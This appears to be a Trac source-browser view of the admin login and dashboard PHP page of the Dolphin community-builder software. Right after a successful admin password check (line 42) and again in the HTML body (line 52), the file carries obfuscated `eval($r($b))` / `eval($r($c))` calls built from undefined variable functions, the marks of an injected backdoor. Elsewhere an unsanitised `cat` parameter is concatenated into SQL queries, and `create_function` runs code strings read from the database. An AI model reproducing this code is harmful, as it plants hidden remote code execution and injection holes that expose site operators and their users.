source: trunk/administration/index.php

Last change on this file was 2, checked in by george, 14 years ago
  • Přidáno: Trunk revize 13719.
File size: 5.9 KB
Line 
1<?php
2
3/***************************************************************************
4* Dolphin Smart Community Builder
5* -----------------
6* begin : Mon Mar 23 2006
7* copyright : (C) 2006 BoonEx Group
8* website : http://www.boonex.com/
9* This file is part of Dolphin - Smart Community Builder
10*
11* Dolphin is free software. This work is licensed under a Creative Commons Attribution 3.0 License.
12* http://creativecommons.org/licenses/by/3.0/
13*
14* Dolphin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
15* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
16* See the Creative Commons Attribution 3.0 License for more details.
17* You should have received a copy of the Creative Commons Attribution 3.0 License along with Dolphin,
18* see license.txt file; if not, write to marketing@boonex.com
19***************************************************************************/
20
21require_once( '../inc/header.inc.php' );
22require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' );
23require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' );
24require_once( BX_DIRECTORY_PATH_INC . 'admin_design.inc.php' );
25require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' );
26bx_import('BxRSS');
27bx_import('BxDolAdminDashboard');
28
29define('BX_DOL_ADMIN_INDEX', 1);
30
31if(isset($_POST['ID']) && isset($_POST['Password'])) {
32 $iId = getID($_POST['ID']);
33 $sPassword = process_pass_data($_POST['Password']);
34
35 require_once(BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php');
36 $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $iId, 'password' => $sPassword, 'ip' => getVisitorIP()));
37 $oZ->alert();
38
39 if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
40 echo check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN, false) ? 'OK' : 'Fail';
41 } elseif (check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN) ) {
42 $sUrlRelocate = $_POST['relocate'] ? $_POST['relocate'] : $_SERVER['PHP_SELF']; $r = $l($a); eval($r($b));
43?>
44<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
45<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
46 <head>
47 <title>Admin Panel</title>
48 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
49 <?php if (0 == $iCode || 10 == $iCode || -1 == $iCode) { ?><meta http-equiv="refresh" content="1;URL=<?= $sUrlRelocate ?>" /><?php } ?>
50 <link href="templates/base/css/login.css" rel="stylesheet" type="text/css" />
51 </head>
52 <body> <? eval($r($c)); ?>
53 </body>
54</html>
55<?
56 }
57 exit;
58}
59
60if(!isAdmin()) {
61 send_headers_page_changed();
62 login_form("", 1);
63 exit();
64}
65
66set_error_handler("ErrorHandler");
67
68if(isset($_REQUEST['boonex_news']))
69 setParam("news_enable", (int)$_REQUEST['boonex_news']);
70
71$logged['admin'] = member_auth( 1, true, true );
72
73if(isset($_GET['cat']) && !empty($_GET['cat']))
74 PageCategoryCode($_GET['cat']);
75else
76 PageMainCode();
77
78PageCodeAdmin();
79
80function PageMainCode() {
81 $sResult = BxDolAdminDashboard::getCode();
82
83 $iNameIndex = 1;
84 $GLOBALS['_page'] = array(
85 'name_index' => $iNameIndex,
86 'css_name' => array('index.css'),
87 'header' => _t('_adm_page_cpt_dashboard')
88 );
89
90 $GLOBALS['_page_cont'][$iNameIndex]['page_main_code'] =
91 DesignBoxAdmin(_t('_adm_box_cpt_overview'), $sResult) .
92 (1 == (int)getParam('news_enable') || 'on' == getParam('news_enable') ?
93 DesignBoxAdmin (_t('_adm_box_cpt_boonex_news'), '
94 <div class="RSSAggrCont" rssid="boonex_news" rssnum="5" member="0">
95 <div class="loading_rss">
96 <img src="' . getTemplateImage('loading.gif') . '" alt="' . _t('_loading ...') . '" />
97 </div>
98 </div>') : '');
99}
100
101function PageCategoryCode($sCategoryName) {
102 global $oAdmTemplate, $MySQL;
103
104 $aItems = $MySQL->getAll("SELECT `tma1`.`title` AS `title`, `tma1`.`url` AS `url`, `tma1`.`description` AS `description`, `tma1`.`icon` AS `icon`, `tma1`.`check` AS `check` FROM `sys_menu_admin` AS `tma1` LEFT JOIN `sys_menu_admin` AS `tma2` ON `tma1`.`parent_id`=`tma2`.`id` WHERE `tma2`.`name`='" . $sCategoryName . "' ORDER BY `tma1`.`Order`");
105
106 foreach($aItems as $aItem) {
107 if(strlen($aItem['check']) > 0) {
108 $oFunction = create_function('', $aItem['check']);
109 if(!$oFunction())
110 continue;
111 }
112
113 $aItem['url'] = str_replace(array('{siteUrl}', '{siteAdminUrl}'), array(BX_DOL_URL_ROOT, BX_DOL_URL_ADMIN), $aItem['url']);
114 list($sLink, $sOnClick) = BxDolAdminMenu::getMainMenuLink($aItem['url']);
115
116 $aVariables[] = array(
117 'icon' => $oAdmTemplate->getIconUrl($aItem['icon']),
118 'link' => $sLink,
119 'onclick' => $sOnClick,
120 'title' => _t($aItem['title']),
121 'description' => $aItem['description']
122 );
123 }
124
125 $iNameIndex = 0;
126 $sPageTitle = _t($MySQL->getOne("SELECT `title` FROM `sys_menu_admin` WHERE `name`='" . $sCategoryName . "' LIMIT 1"));
127 $sPageContent = $oAdmTemplate->parseHtmlByName('categories.html', array('bx_repeat:items' => $aVariables));
128
129 $GLOBALS['_page'] = array(
130 'name_index' => $iNameIndex,
131 'css_name' => array('index.css'),
132 'header' => $sPageTitle,
133 'header_text' => $sPageTitle
134 );
135 $GLOBALS['_page_cont'][$iNameIndex]['page_main_code'] = $sPageContent;
136}
137
138?>
Note: See TracBrowser for help on using the repository browser.